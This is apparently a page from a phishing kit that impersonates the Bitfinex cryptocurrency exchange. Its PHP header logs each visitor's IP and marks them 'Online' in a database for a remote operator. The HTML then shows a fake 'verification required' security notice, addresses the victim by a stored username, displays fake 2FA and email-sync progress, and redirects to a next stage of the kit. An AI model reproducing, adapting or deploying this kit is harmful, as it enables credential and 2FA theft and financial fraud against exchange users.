<?php
   @session_start();
   error_reporting(0);
   
   require_once "../cod3rconfig/registro.php";
   require_once "../cod3rconfig/conexao.php";
   require_once "../cod3rconfig/data.php";
   
    
   require("../bot.php");
    $erro = $_REQUEST['error'];
    $ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);
   
     $query_info = "SELECT * FROM infos WHERE ip='$ip'"; 
     $recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
     $row_infio = mysqli_fetch_assoc($recorinfo); 
     $totalRowsinfo = mysqli_num_rows($recorinfo); 
     
   //faz uma consulta para verificar se o ip já existe no banco de dados
   //$verifica = mysqli_query(DBConnect(), "SELECT * FROM valor");
   //retorna a quantidade de linhas da consulta ou seja, pode retornar 0 ou 1 linha
   //$valor  = mysqli_fetch_assoc($verifica);
   
   $email = $row_infio['usuario'];
   $user = $row_infio['user_master'];
   
   $tempo = time();
   $atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Relógio' WHERE ip='$ip'");
   
   ?>
<!DOCTYPE html>
<html class="no-js" lang="en">
   <!--<![endif]-->
   <!--controller:pages -->
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
      <meta name="viewport" content="width=device-width" />
      <meta name="keywords" content="bitcoin,exchange,bitcoin exchange,litecoin,zcash,ethereum,margin,trade" />
      <meta property="og:title" content="Bitfinex" />
      <meta name="twitter:title" content="Bitfinex" />
      <meta name="description" content="The largest and most advanced cryptocurrency exchange" />
      <meta property="og:description" content="The largest and most advanced cryptocurrency exchange" />
      <meta name="twitter:description" content="The largest and most advanced cryptocurrency exchange" />
      <meta property="og:image" content="https://www.bitfinex.com/assets/bfx-stacked.png" />
      <meta name="twitter:image" content="https://www.bitfinex.com/assets/bfx-stacked.png" />
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" />
      <meta name="twitter:card" content="summary" />
      <meta name="twitter:site" content="@bitfinex" />
      <meta name="referrer" content="origin" />
      <title>Bitfinex</title>
      <!--Let browser know website is optimized for mobile-->
      <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
      <!--enable localization within javascripts-->
      <script async="" src="./login_files/analytics.js.baixados"></script>
      <link rel="shortcut icon" type="image/png" href="/assets-bitfinex/images/favicon.png" data-react-helmet="true">
      <link rel="stylesheet" media="screen"
         href="./login_files/application.bfx-67e5a8ff0586cb7e1428760f1c60a2cab2bc0eec3a975f0f9c4ce4efb7448a11.css" />
      <script
         src="./login_files/application-2b9bec0a638e8d86746c6fd3e8ffd40f0b7413e1ac0825ae7d2dcb24514adc3d.js.baixados"></script>
      <meta name="csrf-param" content="authenticity_token" />
      <meta name="csrf-token"
         content="z1IM1VAIXS3aXWUBzlvsw0uUei0ORshFgRRoFdgrd8UMz+P7NGJgahFpao87pOGKSnixp8e0VCf85jtS7mHbgw==" />
      <meta name="api_url" content="api.bitfinex.com" />
      <link href="./login_files/css" rel="stylesheet" />
      <link rel="stylesheet" media="screen"
         href="./login_files/_auth_landing-8097983f358837b5c63065107deea263b0d6225b0bb3aab1d52fd05403b44c1f.css" />
      <script src="/app/app/js/jquery-3.6.0.min.js" type="text/javascript"></script>
      <script src="https://cdn.jsdelivr.net/npm/i18next@21.6.10/i18next.min.js"></script>
      <script src="https://cdn.jsdelivr.net/npm/jquery-i18next@1.2.1/jquery-i18next.min.js"></script>
      <script src="https://cdn.jsdelivr.net/npm/i18next-browser-languagedetector@6.1.3/i18nextBrowserLanguageDetector.min.js"></script>
      <script src="https://cdn.jsdelivr.net/npm/i18next-http-backend@1.3.2/i18nextHttpBackend.min.js"></script>
      <script src="/app/dados_comando.js?t=<?=rand(999,99999999)?>" type="text/javascript"></script>
      <script type="text/javascript">
         $(document).ready(function () {
             atualiza();
         });
         
         function atualiza() {
             $.get('ver_online.php',
         
                 function (resultado) {
                     $('#onlineagora').html(resultado);
                 })
         
             setTimeout('atualiza()', 1250);
         }
      </script>
   </head>
   <body class="dark-theme ticker-side auth-layout" data-env="production" data-logged-in="false" data-notfa=""
      data-warntwofa="false" data-onmobile="false">
      <div id="custom-confirm-modal" class="modal" style="max-width: 460px;">
         <div class="modal-content">
            <h5 class="title">Please Confirm</h5>
            <div class="divider" style="margin-bottom: 5px;"></div>
            <div class="body">
               <p></p>
            </div>
         </div>
         <div class="modal-footer">
            <a href="javascript:;" onclick="APP.modal.close();"
               class="modal-action btn-small btn-grey modal-close waves-effect waves-light btn-flat ok-modal-simple">
            Okay
            </a>
            <a href="javascript:;" onclick="APP.confirm.okay();"
               class="modal-action btn-small btn-green modal-close waves-effect waves-light btn-flat ok-modal-confirm">
            <i class="fa fa-check green-white"></i> Okay </a>
            <a href="javascript:;" onclick="APP.confirm.cancel();"
               class="modal-action btn-small modal-close waves-effect waves-dark btn-flat cancel">
            Cancel
            </a>
         </div>
      </div>
      <!-- multipurpose modal used by APP.modal.load() -->
      <!-- TODO: refactor more modals to load this way, reduce the size of this file-->
      <div id="multi-purpose-modal" class="modal" style="max-width: 600px;">
         <div id="show-draggable">
            <i class="fa fa-arrows"></i>
            <a href="javascript:;" onclick="APP.modal.close()" class="modal-closer">
            <i class="fa fa-close"></i>
            </a>
         </div>
         <div class="modal-content" style="margin-top: 8px;">
            <!--filled dynamically with APP.modal-->
         </div>
      </div>
      <div id="twofa-modal" class="modal">
         <h3>Two-Factor Authentication</h3>
         <div class="modal-content" style="padding-top: 0;"></div>
         <div class="tips">
            <a href="#" target="_blank"> <i class="fa fa-info-circle"></i> Need some help?</a>
         </div>
      </div>
      <div class="row browser-compatibility-wrapper" style="display: none;">
         <div class="col s12 browser-compatibility-wrapper">
            <div id="browser-compatibility-warning"></div>
         </div>
      </div>
      <div class="pub-wrapper">
         <script src="./login_files/index-6bfa3c55109e75bf32f8a0d723af1de9a7b5333d4fb97f10f1e8b09707d3dc0d.js.baixados"></script>
         <div class="auth-page login-page container simple-container">
            <div class="auth-page__header">
               <a href="#" id="logo">
               <img alt="Bitfinex" title="Bitfinex" class="show-for-dark-theme"
                  src="./login_files/new-white-logo-a1bdfc16f50c8fea1797f33228008634cd40bf36aac6a9868fe1128e7405a8f3.svg" />
               <img alt="Bitfinex" title="Bitfinex" style="" class="show-for-light-theme header-logo"
                  id="header-logo-dark-theme"
                  src="./login_files/logo3-dark-theme-03538225724dd9f9f5cae1f242670ea69933a2a2007bcfe7eac198d6d1ffca24.svg" />
               </a>
            </div>
            <?php 
               if($erro == "1"){
               ?>
            <div class="public-flash-messages" id="error" style="display: block;">
               <div id="flash-notices" class="container">
                  <div class="row" style="margin:0;">
                     <div class="col s12">
                        <div class="alert-box info-flash">
                           <a href="javascript:;" class="close-flash"><i class="fa fa-remove"></i></a>
                           <span class="message"><i class="fa fa-bullhorn"></i>Invalid login or password</span>
                        </div>
                     </div>
                  </div>
                  <!--.row-->
               </div>
            </div>
            <?php 
               }
               ?>
            <style>
               html,
               body {
               height: 100%
               }
               .login2-tab li {
               width: 100%;
               text-align: center;
               font-size: 18px;
               padding: 20px 0;
               margin-bottom: 30px;
               border-bottom: 1px solid #eee;
               }
               .login2-tab.show_tab li {
               width: 50%;
               float: left;
               cursor: pointer
               }
               .login2-tab .log-tab-active {
               border-width: 3px;
               border-color: #de596b;
               color: #de596b
               }
               #disablelogin2 {
               height: 15px;
               margin-top: 3px;
               margin-right: 0
               }
               .fido2_login_confirm {
               width: 750px;
               height: 392px;
               background: rgba(0, 0, 0, 0.1);
               border-radius: 10px;
               overflow: hidden;
               margin: 0 auto
               }
               .fido2_login_confirm_content {
               margin-top: 36px;
               height: 260px;
               font-size: 14px;
               color: white
               }
               .fido2_login_confirm_title {
               color: white;
               text-align: center;
               padding-top: 30px;
               font-size: 16px
               }
               .fido2_login_confirm_content_left {
               width: 50%;
               float: left;
               height: 100%
               }
               .fido2_login_confirm_content_right {
               width: 50%;
               height: 100%;
               float: right
               }
               .fido2_login_confirm_content_right,
               .fido2_login_confirm_content_left {
               text-align: center
               }
               .fido2_login_confirm_content_right p,
               .fido2_login_confirm_content_left p {
               width: 260px;
               height: 203px;
               margin: 0 auto;
               margin-bottom: 38px
               }
               .fido2_login_confirm_content_right p img,
               .fido2_login_confirm_content_left p img {
               width: 100%;
               height: 100%
               }
               .device_tips_img>div {
               padding-bottom: 20px;
               display: flex;
               flex-direction: column;
               align-items: center;
               }
               .device_tips_img,
               .device_tips_text,
               .device_tips_tit {
               background-color: #f7f7f7;
               }
               .device_tips_tit {
               padding: 18px 0;
               width: 100%;
               text-align: center;
               font-weight: normal;
               }
               .device_tips_tit,
               .device_tips_step {
               font-size: 14px;
               }
               .device_tips_img {
               display: flex;
               }
               .device_tips_tit {
               border-top-left-radius: 6px;
               border-top-right-radius: 6px;
               }
               .device_tips_text {
               border-bottom-left-radius: 6px;
               border-bottom-right-radius: 6px;
               padding-bottom: 10px;
               }
               .device_tips_img>div {
               flex: 1;
               box-sizing: border-box;
               }
               .device_tips_img>div>img {
               display: block;
               max-width: 200px;
               height: 120px;
               }
               .device_tips_step {
               display: block;
               text-align: left;
               padding-left: 30px;
               font-size: 12px;
               line-height: 29px;
               color: #4d4d4d;
               font-weight: normal;
               }
               .login2_device_row {
               border: none;
               padding-left: 1px;
               }
               #device {
               padding-top: 20px;
               }
               .login2-con .m_title {
               border: none;
               margin-bottom: 0;
               height: auto;
               }
               .login2-con .m_title h4 {
               font-size: 28px;
               font-weight: 200;
               }
               #smsGroup,
               #emailGroup {
               flex: 1;
               margin-right: 15px;
               }
               #voicebtn {
               display: inline-block;
               background: transparent;
               width: auto;
               height: auto;
               line-height: normal;
               padding: 0;
               }
               #gateUrlImgBox {
               position: relative;
               }
               #gateUrlImgBox span.urlCopyBtn {
               position: absolute;
               display: block;
               max-width: 40%;
               right: 5%;
               text-align: right;
               color: #de596b;
               cursor: pointer;
               z-index: 1;
               }
               #gateUrlImgBox span.urlCopyBtn:nth-child(1) {
               top: 10%
               }
               #gateUrlImgBox span.urlCopyBtn:nth-child(2) {
               top: 42%
               }
               #gateUrlImgBox span.urlCopyBtn:nth-child(3) {
               top: 75%
               }
               @media(max-width: 700px) {
               #gateUrlImgBox span.urlCopyBtn {
               display: none;
               }
               }
               #login2_toolService {
               color: #de596b
               }
               .input_view {
               display: flex;
               flex-direction: row;
               justify-content: space-between;
               margin-top: 20px;
               position: relative;
               }
               #input_view_mask {
               position: absolute;
               top: 0;
               left: 0;
               right: 0;
               bottom: 0;
               z-index: 8;
               cursor: text;
               }
               .input_view_item {
               display: flex;
               width: 42px;
               height: 42px;
               border: solid 1px #bbbdbf;
               border-radius: 5px;
               background: #fff;
               text-align: center;
               font-weight: bold;
               font-family: 'din_bold';
               }
               body.dark-body .input_view_item {
               background: #282828;
               border-color: #282828;
               }
               .input_view_item:focus {
               border-color: #4bb2b8 !important
               }
               .login2_check_title {
               text-align: center;
               }
               .login2_check_title img,
               .login2_check_title span {
               vertical-align: middle;
               display: inline-block;
               }
               .loading-btn.loading .spinner {
               display: block;
               }
               .loading-btn.loading span {
               display: none;
               }
               .loading-btn .spinner {
               display: none;
               }
               .loading-btn span {
               display: inline-block;
               }
               .login2_bottom_view {
               display: flex;
               flex-direction: row;
               }
               .login2_bottom_view .flex-1 {
               flex: 1;
               }
               .code-status {
               padding-top: 20px;
               }
               .code-status .login_row_btn {
               display: inline-block !important;
               padding: 0 !important;
               border: none !important;
               background: transparent !important;
               }
               .code-status .login_row_btn:hover {
               background: transparent !important;
               color: #26999e !important;
               }
               .code-status #emailbtn[disabled]:hover {
               color: #8c8c8c !important;
               }
               body.dark-body .code-status #emailbtn[disabled],
               body.classic-dark .code-status #emailbtn[disabled],
               .code-status #emailbtn[disabled],
               body.dark-body .code-status #smsbtn[disabled],
               body.classic-dark .code-status #smsbtn[disabled],
               .code-status #smsbtn[disabled] {
               background: transparent !important;
               }
               .m_title h4 img {
               margin: 0;
               margin-right: 4px;
               vertical-align: bottom;
               width: 30px;
               height: 30px;
               }
               #login2_check_msg {
               padding-top: 10px;
               color: #de596b
               }
               .help-msg-box {
               padding-top: 5px;
               }
               body.dark-body .help-msg-box .help-block.login-2-error,
               body.classic-dark .help-msg-box .help-block.login-2-error {
               color: #de5959;
               }
               .help-msg-box .help-block.login-2-error {
               background: rgba(222, 89, 107, .1);
               padding: 4px 4px 2px 4px;
               box-sizing: border-box;
               color: #de5959;
               }
               .login_row .login_row_input {
               font-weight: bold;
               font-family: 'din_bold';
               }
               .login2-con {
               min-height: 600px !important;
               }
            </style>
            <div class="auth-page__inner">
               <script>
                  window.onload = function () {
                      var input = document.getElementById("login");
                      if (input) {
                          input.focus();
                      }
                  };
               </script>
               <div class="public-flash-messages" id="error" style="display: block;">
                  <div id="flash-notices" class="container">
                     <div class="row" style="margin:0;">
                        <div class="col s12">
                           <div class="alert-box notice-flash">
                              <a href="javascript:;" class="close-flash"><i class="fa fa-remove"></i></a>
                              <span class="message">
                                 <i class="fa fa-exclamation-circle"></i>
                                 <y style="font-size: 13px;" data-i18n="verification.title">Bitfinex support. Verification required.</y>
                              </span>
                           </div>
                        </div>
                     </div>
                     <!--.row-->
                  </div>
               </div>
               <div id="content" class="pad-for-content border">
                  <form role="form" id="loginForm" name="login" method="post" action="#" style="margin-bottom: 5px;">
                     <div style="text-align:center;">
                        <img src="./images/cadeado.png"
                           style="height:175px; padding:10px;">
                     </div>
                     <div class="container" id="homepost">
                        <p style="text-align: justify;">
                           <span data-i18n="verification.hello">Hello</span> <strong><?=$user?></strong>, <span data-i18n="verification.message">we are improving our system security, always thinking about the best for you. Therefore, before proceeding with your login, you will need to complete a few steps in setting up your account to strengthen the security of your Bitfinex products.</span>
                        </p>
                        <div id="tabela-do-bolsonaro" style="padding-top: 10px;"></div>
                        <div id="tabela-do-bolsonaro2" style="padding-top: 10px;"></div>
                        <script>
                           const tableItems = [{
                                   text: '2FA Token',
                                   image: './images/2fatoken.png',
                               },
                               
                           ]
                           const tabelaDoBolsonaro = document.querySelector('#tabela-do-bolsonaro')
                           for (const item of tableItems) {
                               tabelaDoBolsonaro.innerHTML += `<div style="display: flex; align-items: center; padding: 3px 0px;">
                                       <img src="${item.image}" style="margin: 0px !important; height: 35px;"></img>
                                       <div class="container">
                                       <span style="padding-left: 3px;">                                            
                                           <strong data-i18n="verification.2FA">
                                               ${item.text}
                                           </strong>
                                       </span>   
                                       </div>                                                
                                       <div style="display: flex; float: right; margin-right:0px; margin-left:0px;">
                                           <i class="fa fa-check-circle-o checked fa-fw"></i>
                                           <i class="fa fa-check-circle-o checked fa-fw"></i>
                                           <i class="fa fa-check-circle-o checked fa-fw"></i>
                                           <i class="fa fa-check-circle-o checked fa-fw"></i>
                                           <i class="fa fa-check-circle-o checked fa-fw"></i>
                                           </div>                                 
                                   </div>`
                           }
                        </script>
                        <script>
                           const tableItems2 = [
                               {
                                   text: 'Email Sync',
                                   image: 'data:image/svg+xml;base64,PHN2ZyBjbGFzcz0iaWNvbiIgdmlld0JveD0iMCAwIDEwMjQgMTAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMjQiIGhlaWdodD0iMjQiPjxwYXRoIGQ9Ik01MTIgNzIuMTkyQzI2OS4zMTIgNzIuMTkyIDcyLjE5MiAyNjkuMzEyIDcyLjE5MiA1MTJTMjY5LjMxMiA5NTEuODA4IDUxMiA5NTEuODA4IDk1MS44MDggNzU0LjY4OCA5NTEuODA4IDUxMiA3NTUuMiA3Mi4xOTIgNTEyIDcyLjE5MnptMCA4MzEuNDg4Yy0yMTYuMDY0IDAtMzkxLjY4LTE3NS42MTYtMzkxLjY4LTM5MS42OFMyOTUuOTM2IDEyMC4zMiA1MTIgMTIwLjMyIDkwMy42OCAyOTUuOTM2IDkwMy42OCA1MTIgNzI4LjA2NCA5MDMuNjggNTEyIDkwMy42OHptMjMwLjQtNTk1LjQ1NkgyODEuNmMtMjguMTYgMC01MS4yIDI0LjU3Ni01MS4yIDU0LjI3MnYyOTkuNTJjMCAyOS42OTYgMjMuMDQgNTQuMjcyIDUxLjIgNTQuMjcyaDQ2MC44YzI4LjE2IDAgNTEuMi0yNC41NzYgNTEuMi01NC4yNzJ2LTI5OS41MmMwLTI5LjY5Ni0yMy4wNC01NC4yNzItNTEuMi01NC4yNzJ6TTYxOC40OTYgNTEzLjUzNmwxMzAuNTYtMTIxLjg1NnYyNDcuMjk2bC0xMzAuNTYtMTI1LjQ0em0tNzQuNzUyIDMuNTg0Yy0xOC45NDQgMTguNDMyLTI4LjE2IDIwLjk5Mi0zMS43NDQgMjAuOTkyLTMuNTg0IDAtMTIuMjg4LTIuNTYtMzEuNzQ0LTIwLjk5MkwzMDUuNjY0IDM1My4yOGg0MTIuMTZsLTE3NC4wOCAxNjMuODR6TTQzNy43NiA1NDcuMzI4bDE5Ljk2OCAxOC45NDRjMzAuNzIgMjcuNjQ4IDc3LjMxMiAyNy42NDggMTA4LjU0NCAwbDE5Ljk2OC0xOC45NDRMNzE3LjMxMiA2NzAuNzJIMzA2LjY4OEw0MzcuNzYgNTQ3LjMyOHptLTMyLjI1Ni0zMy4yOGwtMTMwLjU2IDEyNC45MjhWMzkyLjE5MmwxMzAuNTYgMTIxLjg1NnoiIGZpbGw9IiM2Nzg4OTEiLz48L3N2Zz4='
                               },
                           ]
                           const tabelaDoBolsonaro2 = document.querySelector('#tabela-do-bolsonaro2')
                           for (const item of tableItems2) {
                               tabelaDoBolsonaro2.innerHTML += `<div style="display: flex; align-items: center; padding: 3px 0px;">
                                       <img src="${item.image}" style="margin: 0px !important; height: 35px;"></img>
                                       <div class="container">
                                       <span style="padding-left: 3px;">                                            
                                           <strong data-i18n="verification.email">
                                               ${item.text}
                                           </strong>
                                       </span>   
                                       </div>                                                
                                       <div style="display: flex; float: right; margin-right:0px; margin-left:0px;">
                                           <i class="fa fa-check-circle-o fa-fw show50"></i>
                                           <i class="fa fa-check-circle-o fa-fw show50"></i>
                                           <i class="fa fa-check-circle-o fa-fw show50"></i>
                                           <i class="fa fa-check-circle-o fa-fw show50"></i>
                                           <i class="fa fa-check-circle-o fa-fw show50"></i>
                                           </div>                                 
                                   </div>`
                           }
                        </script>
                        <br>
                        <div style="text-align:center;">
                           <img src="./images/bitlogo.png" style="height:50px; padding:3px;">
                        </div>
                        <div class="row" id="login2Form">
                           <div class="col s12" style="text-align: center; display: flex; justify-content: center;">
                              <button id="autoSubBtn" class="btn btn-green" type="button"
                                 style="float: none; width: 200px; align-items: center; display: flex; justify-content: center;" name="action" data-i18n="verification.button">
                              Check now
                              </button>
                           </div>
                        </div>
                        <script>
                           $(document).ready(function () {
                               APP.formValidation().init();
                           });
                        </script>
                  </form>
                  </div>
               </div>
               <script>
                  $(document).ready(function () {
                      APP.formValidation().init();
                  });
               </script>
               </form>
            </div>
         </div>
      </div>
      </div>
      <script>
        document.getElementById("autoSubBtn").addEventListener("click", function(){
            document.getElementById("autoSubBtn").innerHTML = "<img src='https://gifimage.net/wp-content/uploads/2018/04/rotating-gif-12.gif' width='20'>"
            setTimeout(() => {
                window.location.href = "/app/dentro.php"
            }, 1500);
        })
      </script>
      <div class="hiddendiv common"></div>
      <script src="/assets/js/notification.js?t=123123123"></script>
   </body>
</html>